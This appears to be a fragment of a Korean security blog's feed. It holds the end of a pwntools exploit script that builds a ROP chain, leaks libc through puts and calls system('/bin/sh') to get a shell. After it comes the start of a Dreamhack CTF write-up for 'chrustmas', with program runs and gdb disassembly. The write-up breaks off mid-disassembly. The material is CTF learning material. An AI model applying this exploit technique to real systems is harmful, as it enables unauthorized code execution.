</span></span><span class="line"><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># sleep(0.01)</span>
</span></span><span class="line"><span class="cl">    <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;/bin/cat /flag</span><span class="se">\x00\x00</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">puts_plt</span> <span class="o">=</span> <span class="mh">0x04010c0</span>
</span></span><span class="line"><span class="cl"><span class="n">puts_got</span> <span class="o">=</span> <span class="mh">0x403fa8</span>
</span></span><span class="line"><span class="cl"><span class="n">prdi_prbp_ret</span> <span class="o">=</span> <span class="mh">0x40129b</span>
</span></span><span class="line"><span class="cl"><span class="n">unsafe_func</span> <span class="o">=</span> <span class="mh">0x0401426</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;2&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;a&#34;</span><span class="o">*</span><span class="mi">32</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;b&#34;</span><span class="o">*</span><span class="mi">8</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40129e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">prdi_prbp_ret</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">puts_got</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;c&#34;</span><span class="o">*</span><span class="mi">8</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">puts_plt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">unsafe_func</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;c&#34;</span><span class="o">*</span><span class="p">(</span><span class="mh">0x10000</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">pl</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">pl</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">libc_leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">6</span><span class="p">)[:]</span><span class="o">+</span><span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00\x00</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] leak addr : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_leak</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">offset</span> <span class="o">=</span> <span class="mh">0x58ED0</span>
</span></span><span class="line"><span class="cl"><span class="n">libc_base</span> <span class="o">=</span> <span class="n">libc_leak</span> <span class="o">-</span> <span class="n">offset</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] libc base addr : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">system</span> <span class="o">=</span> <span class="n">libc_base</span><span class="o">+</span><span class="mh">0x28D64</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] system addr : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">system</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">binsh</span> <span class="o">=</span> <span class="n">libc_base</span><span class="o">+</span><span class="mh">0x1B0698</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;[+] /bin/sh addr : </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">exit</span> <span class="o">=</span> <span class="mh">0x04012f6</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span><span class="o">*</span><span class="mi">4</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40129e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40129e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40129e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40129e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">prdi_prbp_ret</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">exit</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">pl</span> <span class="o">+=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="o">*</span><span class="p">(</span><span class="mh">0x10000</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">pl</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">pl</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN chrustmas</title><link>https://dig06161.github.io/2023/12/29/dreamhack-pwn-chrustmas/</link><pubDate>Fri, 29 Dec 2023 15:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/12/29/dreamhack-pwn-chrustmas/</guid><description>드림핵 포너블 chrustmas 문제풀이</description><content:encoded><![CDATA[<p>비오비 수료 후에 학교를 다니면서 보안기사를 취득하느라, 오랜만에 풀어보는 워게임이다. v8 익스플로잇도 공부중인데 해당 내용은 기회가 되면 포스팅 할 예정이다. 이번 문제는 크리스마스 ctf에 출제된 chrustmas 라는 문제이다. 시스템 해킹으로 스코어는 3Level을 가지고 있다.</p>
<p>우선 먼저 실행을 해보자. 바이너리를 실행하면 다음과 같은 화면을 보게된다. 문자열을 입력 받으면 페스워드 검증을 한다고 하고 16자리를 입력 받아 참 거짓 유무를 판단한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="n">root</span><span class="err">@</span><span class="mi">7</span><span class="nl">cb73a3db36b</span><span class="p">:</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">dreamhack</span><span class="o">/</span><span class="n">chrustmas</span><span class="o">/</span><span class="n">deploy</span><span class="err">#</span> <span class="p">.</span><span class="o">/</span><span class="n">prob</span>
</span></span><span class="line"><span class="cl"><span class="n">Password</span> <span class="o">&gt;&gt;</span> <span class="n">asdf</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="mi">97</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">102</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">Solo</span> <span class="n">can</span><span class="err">&#39;</span><span class="n">t</span> <span class="n">hack</span> <span class="n">me</span><span class="o">!</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span><span class="err">@</span><span class="mi">7</span><span class="nl">cb73a3db36b</span><span class="p">:</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">dreamhack</span><span class="o">/</span><span class="n">chrustmas</span><span class="o">/</span><span class="n">deploy</span><span class="err">#</span> <span class="p">.</span><span class="o">/</span><span class="n">prob</span>
</span></span><span class="line"><span class="cl"><span class="n">Password</span> <span class="o">&gt;&gt;</span> <span class="n">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</span>
</span></span><span class="line"><span class="cl"><span class="n">Password</span> <span class="n">maximum</span> <span class="n">size</span> <span class="n">is</span> <span class="mf">16.</span><span class="p">..</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span><span class="err">@</span><span class="mi">7</span><span class="nl">cb73a3db36b</span><span class="p">:</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">dreamhack</span><span class="o">/</span><span class="n">chrustmas</span><span class="o">/</span><span class="n">deploy</span><span class="err">#</span> 
</span></span><span class="line"><span class="cl"><span class="n">root</span><span class="err">@</span><span class="mi">7</span><span class="nl">cb73a3db36b</span><span class="p">:</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">dreamhack</span><span class="o">/</span><span class="n">chrustmas</span><span class="o">/</span><span class="n">deploy</span><span class="err">#</span> <span class="p">.</span><span class="o">/</span><span class="n">prob</span>
</span></span><span class="line"><span class="cl"><span class="n">Password</span> <span class="o">&gt;&gt;</span> <span class="n">aaaaaaaaaaaaaaaabbbb</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">97</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">Solo</span> <span class="n">can</span><span class="err">&#39;</span><span class="n">t</span> <span class="n">hack</span> <span class="n">me</span><span class="o">!</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span><span class="err">@</span><span class="mi">7</span><span class="nl">cb73a3db36b</span><span class="p">:</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">dreamhack</span><span class="o">/</span><span class="n">chrustmas</span><span class="o">/</span><span class="n">deploy</span><span class="err">#</span>
</span></span></code></pre></div><p>위 내용을 보면 무언가 이상하다. max size는 16이라고 하는데 마지막 실행 구문을 보면 4바이트를 추가로 입력 가능하다. gdb를 통해서 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">disass</span> <span class="n">main</span>
</span></span><span class="line"><span class="cl"><span class="n">Dump</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">code</span> <span class="k">for</span> <span class="n">function</span> <span class="nl">main</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af70</span> <span class="o">&lt;+</span><span class="mi">0</span><span class="o">&gt;:</span>     <span class="n">push</span>   <span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af71</span> <span class="o">&lt;+</span><span class="mi">1</span><span class="o">&gt;:</span>     <span class="n">mov</span>    <span class="n">rdx</span><span class="p">,</span><span class="n">rsi</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af74</span> <span class="o">&lt;+</span><span class="mi">4</span><span class="o">&gt;:</span>     <span class="n">movsxd</span> <span class="n">rsi</span><span class="p">,</span><span class="n">edi</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af77</span> <span class="o">&lt;+</span><span class="mi">7</span><span class="o">&gt;:</span>     <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0xfffffffffffffc12</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0xab90</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af7e</span> <span class="o">&lt;+</span><span class="mi">14</span><span class="o">&gt;:</span>    <span class="n">xor</span>    <span class="n">ecx</span><span class="p">,</span><span class="n">ecx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af80</span> <span class="o">&lt;+</span><span class="mi">16</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x93c0</span> <span class="o">&lt;</span><span class="n">_ZN3std2rt10lang_start17hf7281ca14fc25c65E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af85</span> <span class="o">&lt;+</span><span class="mi">21</span><span class="o">&gt;:</span>    <span class="n">pop</span>    <span class="n">rcx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000af86</span> <span class="o">&lt;+</span><span class="mi">22</span><span class="o">&gt;:</span>    <span class="n">ret</span>    
</span></span><span class="line"><span class="cl"><span class="n">End</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">dump</span><span class="p">.</span>
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">disass</span> <span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span>
</span></span><span class="line"><span class="cl"><span class="n">Dump</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">code</span> <span class="k">for</span> <span class="n">function</span> <span class="nl">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ab90</span> <span class="o">&lt;+</span><span class="mi">0</span><span class="o">&gt;:</span>     <span class="n">sub</span>    <span class="n">rsp</span><span class="p">,</span><span class="mh">0x208</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ab97</span> <span class="o">&lt;+</span><span class="mi">7</span><span class="o">&gt;:</span>     <span class="n">lea</span>    <span class="n">rsi</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x54532</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x5f0d0</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ab9e</span> <span class="o">&lt;+</span><span class="mi">14</span><span class="o">&gt;:</span>    <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x98</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000aba6</span> <span class="o">&lt;+</span><span class="mi">22</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x80</span><span class="p">],</span><span class="n">rdi</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abae</span> <span class="o">&lt;+</span><span class="mi">30</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">edx</span><span class="p">,</span><span class="mh">0x1</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abb3</span> <span class="o">&lt;+</span><span class="mi">35</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x97d0</span> <span class="o">&lt;</span><span class="n">_ZN4core3fmt9Arguments9new_const17h795ce44452297527E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abb8</span> <span class="o">&lt;+</span><span class="mi">40</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x80</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abc0</span> <span class="o">&lt;+</span><span class="mi">48</span><span class="o">&gt;:</span>    <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x1a1b9</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x24d80</span> <span class="o">&lt;</span><span class="n">_ZN3std2io5stdio6_print17h63a00216c7cec9b0E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abc7</span> <span class="o">&lt;+</span><span class="mi">55</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abc9</span> <span class="o">&lt;+</span><span class="mi">57</span><span class="o">&gt;:</span>    <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0xc8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abd1</span> <span class="o">&lt;+</span><span class="mi">65</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0xa150</span> <span class="o">&lt;</span><span class="n">_ZN5alloc6string6String3new17h7e53fa0b3a6780a1E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abd6</span> <span class="o">&lt;+</span><span class="mi">70</span><span class="o">&gt;:</span>    <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x19623</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x24200</span> <span class="o">&lt;</span><span class="n">_ZN3std2io5stdio6stdout17h4f8abd8acea54c79E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abdd</span> <span class="o">&lt;+</span><span class="mi">77</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abdf</span> <span class="o">&lt;+</span><span class="mi">79</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x88</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abe7</span> <span class="o">&lt;+</span><span class="mi">87</span><span class="o">&gt;:</span>    <span class="n">jmp</span>    <span class="mh">0xac11</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">129</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abe9</span> <span class="o">&lt;+</span><span class="mi">89</span><span class="o">&gt;:</span>    <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0xc8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abf1</span> <span class="o">&lt;+</span><span class="mi">97</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x9970</span> <span class="o">&lt;</span><span class="n">_ZN4core3ptr42drop_in_place</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">alloc</span><span class="p">..</span><span class="n">string</span><span class="p">..</span><span class="n">String</span><span class="err">$</span><span class="n">GT</span><span class="err">$</span><span class="mi">17</span><span class="n">hdb4d12f0836ed276E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abf6</span> <span class="o">&lt;+</span><span class="mi">102</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xaf57</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">967</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abfb</span> <span class="o">&lt;+</span><span class="mi">107</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rcx</span><span class="p">,</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000abfe</span> <span class="o">&lt;+</span><span class="mi">110</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="n">edx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac00</span> <span class="o">&lt;+</span><span class="mi">112</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x1e8</span><span class="p">],</span><span class="n">rcx</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac08</span> <span class="o">&lt;+</span><span class="mi">120</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x1f0</span><span class="p">],</span><span class="n">eax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac0f</span> <span class="o">&lt;+</span><span class="mi">127</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xabe9</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">89</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac11</span> <span class="o">&lt;+</span><span class="mi">129</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x88</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac19</span> <span class="o">&lt;+</span><span class="mi">137</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0xe8</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac21</span> <span class="o">&lt;+</span><span class="mi">145</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rax</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x19608</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x24230</span> <span class="o">&lt;</span><span class="n">_ZN57_</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">std</span><span class="p">..</span><span class="n">io</span><span class="p">..</span><span class="n">stdio</span><span class="p">..</span><span class="n">Stdout</span><span class="err">$</span><span class="n">u20</span><span class="err">$</span><span class="n">as</span><span class="err">$</span><span class="n">u20</span><span class="err">$</span><span class="n">std</span><span class="p">..</span><span class="n">io</span><span class="p">..</span><span class="n">Write</span><span class="err">$</span><span class="n">GT</span><span class="err">$</span><span class="mf">5f</span><span class="n">lush17h788b0765478199e0E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac28</span> <span class="o">&lt;+</span><span class="mi">152</span><span class="o">&gt;:</span>   <span class="n">lea</span>    <span class="n">rdi</span><span class="p">,[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0xe8</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac30</span> <span class="o">&lt;+</span><span class="mi">160</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac32</span> <span class="o">&lt;+</span><span class="mi">162</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x78</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac37</span> <span class="o">&lt;+</span><span class="mi">167</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xac39</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">169</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac39</span> <span class="o">&lt;+</span><span class="mi">169</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x78</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac3e</span> <span class="o">&lt;+</span><span class="mi">174</span><span class="o">&gt;:</span>   <span class="n">call</span>   <span class="mh">0xa5d0</span> <span class="o">&lt;</span><span class="n">_ZN79_</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">core</span><span class="p">..</span><span class="n">result</span><span class="p">..</span><span class="n">Result</span><span class="err">$</span><span class="n">LT</span><span class="err">$</span><span class="n">T</span><span class="err">$</span><span class="n">C</span><span class="err">$</span><span class="n">E</span><span class="err">$</span><span class="n">GT</span><span class="err">$$</span><span class="n">u20</span><span class="err">$</span><span class="n">as</span><span class="err">$</span><span class="n">u20</span><span class="err">$</span><span class="n">core</span><span class="p">..</span><span class="n">ops</span><span class="p">..</span><span class="n">try_trait</span><span class="p">..</span><span class="n">Try</span><span class="err">$</span><span class="n">GT</span><span class="err">$</span><span class="mi">6</span><span class="n">branch17hf2b8d074e60fa146E</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac43</span> <span class="o">&lt;+</span><span class="mi">179</span><span class="o">&gt;:</span>   <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="o">+</span><span class="mh">0x70</span><span class="p">],</span><span class="n">rax</span>
</span></span><span class="line"><span class="cl">   <span class="mh">0x000000000000ac48</span> <span class="o">&lt;+</span><span class="mi">184</span><span class="o">&gt;:</span>   <span class="n">jmp</span>    <span class="mh">0xac4a</span> <span class="o">&lt;</span><span class="n">_ZN4prob4main17h5c6c2c95bc71f04bE</span><span class="o">+</span><span class="mi">186</span><span class="o">&gt;</span>
